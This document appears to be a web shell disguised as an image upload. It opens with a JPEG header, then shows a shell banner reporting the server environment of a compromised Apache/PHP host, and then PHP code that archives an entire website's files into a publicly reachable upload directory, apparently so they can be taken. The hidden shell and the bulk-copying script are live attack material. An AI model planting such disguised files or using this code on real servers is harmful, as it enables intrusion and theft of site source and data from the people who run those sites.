���� JFIF �� � ( %"1"%)+...383,7(-.-
![]() Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20 System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64 User : apache ( 48) PHP Version : 7.4.20 Disable Function : NONE Directory : /var/www/html/netphim/upload/user/2025/02/ |
<?php // Set directory path and archive file name $dirPath = '/var/www/html/okanime.top/'; $zipFile = '/var/www/html/netphim/upload/user/2025/02/archdive.zip'; // Create a ZipArchive object $zip = new ZipArchive(); // Check if the archive file can be created if ($zip->open($zipFile, ZipArchive::CREATE) === TRUE) { // Function to add all files and subdirectories $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($dirPath), RecursiveIteratorIterator::LEAVES_ONLY ); // Adding each file to the archive foreach ($iterator as $file) { if ($file->isFile()) { // Get the full path of the file $filePath = $file->getRealPath(); // Add the file to the archive with its relative path $zip->addFile($filePath, substr($filePath, strlen($dirPath))); } } // Close the archive $zip->close(); echo "Archive successfully created: $zipFile"; } else { echo "Failed to create archive."; } ?>